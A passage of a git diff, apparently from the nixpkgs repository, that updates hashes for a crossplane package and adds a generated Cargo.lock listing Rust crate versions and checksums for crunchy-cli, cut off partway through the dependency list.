version = "1.15.0"; src = fetchFromGitHub { owner = "crossplane"; repo = "crossplane"; rev = "v${version}"; - hash = "sha256-P7zfkrE+r/pQEEu0GK7v+bJ4ONeejZLXq2sYmU/V110="; + hash = "sha256-VwnKTeCfCgKlgh+6QO2J4r1ImAq0zlxFFdhTtC95bs0="; }; - vendorHash = "sha256-vkXvnEstD/czBDxmI96TIQB/L4jxhMwIS1XpHqVtxqY="; + vendorHash = "sha256-+e3NuSCvUgZANDB9LsvlQn3h9+L1NeQeURKDZd21reo="; ldflags = [ "-s" diff --git a/pkgs/by-name/cr/crunchy-cli/Cargo.lock b/pkgs/by-name/cr/crunchy-cli/Cargo.lock new file mode 100644 index 0000000000000..58e768c9e4ccf --- /dev/null +++ b/pkgs/by-name/cr/crunchy-cli/Cargo.lock @@ -0,0 +1,2354 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "aes" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac1f845298e95f983ff1944b728ae08b8cebab80d684f0a832ed0fc74dfa27e2" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "0.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd2405b3ac1faab2990b74d728624cd9fd115651fcecc7c2d8daf01376275ba" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" + +[[package]] +name = "anstyle-parse" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" +dependencies = [ + "anstyle", + "windows-sys 0.52.0", +] + +[[package]] +name = "anyhow" +version = "1.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" + +[[package]] +name = "async-speed-limit" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97d287ccbfb44ae20287d2f9c72ad9e560d50810883870697db5b320c541f183" +dependencies = [ + "futures-core", + "futures-io", + "futures-timer", + "pin-project-lite", +] + +[[package]] +name = "async-trait" +version = "0.1.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "base64-serde" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba368df5de76a5bea49aaf0cf1b39ccfbbef176924d1ba5db3e4135216cbe3c7" +dependencies = [ + "base64", + "serde", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "libc", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-targets 0.48.5", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clap" +version = "4.4.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58e54881c004cec7895b0068a0a954cd5d62da01aef83fa35b1e594497bf5445" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59cb82d7f531603d2fd1f507441cdd35184fa81beff7bd489570de7f773460bb" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_complete" +version = "4.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97aeaa95557bd02f23fbb662f981670c3d20c5a26e69f7354b28f57092437fcd" +dependencies = [ + "clap", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "clap_mangen" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a7c2b01e5e779c19f46a94bbd398f33ae63b0f78c07108351fb4536845bb7fd" +dependencies = [ + "clap", + "roff", +] + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "console" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e1f83fc076bd6dd27517eacdf25fef6c4dfe5f1d7448bafaaf3a26f13b5e4eb" +dependencies = [ + "encode_unicode", + "lazy_static", + "libc", + "unicode-width", + "windows-sys 0.52.0", +] + +[[package]] +name = "cookie" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e859cd57d0710d9e06c381b550c06e76992472a8c6d527aecd2fc673dcc231fb" +dependencies = [ + "percent-encoding", + "time", + "version_check", +] + +[[package]] +name = "cookie_store" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d606d0fba62e13cf04db20536c05cb7f13673c161cb47a47a82b9b9e7d3f1daa" +dependencies = [ + "cookie", + "idna 0.2.3", + "log", + "publicsuffix", + "serde", + "serde_derive", + "serde_json", + "time", + "url", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "crunchy-cli" +version = "3.2.5" +dependencies = [ + "chrono", + "clap", + "clap_complete", + "clap_mangen", + "crunchy-cli-core", + "native-tls", + "tokio", +] + +[[package]] +name = "crunchy-cli-core" +version = "3.2.5" +dependencies = [ + "anyhow", + "async-speed-limit", + "chrono", + "clap", + "crunchyroll-rs", + "ctrlc", + "derive_setters", + "dialoguer", + "dirs", + "fs2", + "futures-util", + "http", + "indicatif", + "lazy_static", + "log", + "nix", + "num_cpus", + "regex", + "reqwest", + "rustls-native-certs", + "serde", + "serde_json", + "serde_plain", + "shlex", + "sys-locale", + "tempfile", + "tokio", + "tokio-util", + "tower-service", +] + +[[package]] +name = "crunchyroll-rs" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "828ff3c0f11de8f8afda7dc3bd24e206e1b13cee6abfd87856123305864681d2" +dependencies = [ + "aes", + "async-trait", + "cbc", + "chrono", + "crunchyroll-rs-internal", + "dash-mpd", + "futures-util", + "lazy_static", + "m3u8-rs", + "regex", + "reqwest", + "rustls", + "serde", + "serde_json", + "serde_urlencoded", + "smart-default", + "tokio", + "tower-service", + "webpki-roots 0.26.0", +] + +[[package]] +name = "crunchyroll-rs-internal" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7051a39e25a19ef0aa753e7da179787a3db0fb8a01977a7e22cd288f7ff0e27" +dependencies = [ + "darling", + "quote", + "syn", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctrlc" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b467862cc8610ca6fc9a1532d7777cee0804e678ab45410897b9396495994a0b" +dependencies = [ + "nix", + "windows-sys 0.52.0", +] + +[[package]] +name = "darling" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn", +] + +[[package]] +name = "darling_macro" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" +dependencies = [ + "darling_core", + "quote", + "syn", +] + +[[package]] +name = "dash-mpd" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cf94350e05e27c941b8cfc06bffeec3afcac11f42df289378ddf43e192d2e15" +dependencies = [ + "base64", + "base64-serde", + "chrono", + "fs-err", + "iso8601", + "lazy_static", + "num-traits", + "quick-xml", + "regex", + "serde", + "serde_path_to_error", + "serde_with", + "thiserror", + "tokio", + "tracing", + "url", + "xattr", +] + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", + "serde", +] + +[[package]] +name = "derive_setters" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e8ef033054e131169b8f0f9a7af8f5533a9436fadf3c500ed547f730f07090d" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "dialoguer" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "658bce805d770f407bc62102fca7c2c64ceef2fbcb2b8bd19d2765ce093980de" +dependencies = [ + "console", + "shell-words", + "thiserror", +] + +[[package]] +name = "dirs" +version = "5.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.48.0", +] + +[[package]] +name = "either" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" + +[[package]] +name = "encode_unicode" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f" + +[[package]] +name = "encoding_rs" +version = "0.8.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fs-err" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88a41f105fe1d5b6b34b2055e3dc59bb79b46b48b2040b9e6c7b4b5de097aa41" +dependencies = [ + "autocfg", +] + +[[package]] +name = "fs2" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9564fc758e15025b46aa6643b1b77d047d1a56a1aea6e01002ac0c7026876213" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-timer" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e64b03909df88034c26dc1547e8970b91f98bdb65165d6a4e9110d94263dbb2c" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "h2" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b553656127a00601c8ae5590fcfdc118e4083a7924b6cf4ffc1ea4b99dc429d7" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap 2.1.0", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "0.14.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" +dependencies = [ + "futures-util", + "http", + "hyper", + "rustls", + "tokio", + "tokio-rustls", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper", + "native-tls", + "tokio", + "tokio-native-tls", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.59" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6a67363e2aa4443928ce15e57ebae94fd8949958fd1223c4cfc0cd473ad7539" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" +dependencies = [ + "matches", + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "idna" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", + "serde", +] + +[[package]] +name = "indexmap" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +dependencies = [ + "equivalent", + "hashbrown 0.14.3", + "serde", +] + +[[package]] +name = "indicatif" +version = "0.17.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb28741c9db9a713d93deb3bb9515c20788cef5815265bee4980e87bde7e0f25" +dependencies = [ + "console", + "instant", + "number_prefix", + "portable-atomic", + "unicode-width", +] + +[[package]] +name = "inout" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" +dependencies = [ + "block-padding", + "generic-array", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "ipnet" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" + +[[package]] +name = "iso8601" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "924e5d73ea28f59011fec52a0d12185d496a9b075d360657aed2a5707f701153" +dependencies = [ + "nom", +] + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "js-sys" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a1d36f1235bc969acba30b7f5990b864423a6068a10f7c90ae8f0112e3a59d1" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libc" +version = "0.2.152" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" + +[[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.1", + "libc", + "redox_syscall", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "m3u8-rs" +version = "5.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c1d7ba86f7ea62f17f4310c55e93244619ddc7dadfc7e565de1967e4e41e6e7" +dependencies = [ + "chrono", + "nom", +] + +[[package]] +name = "matches" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = 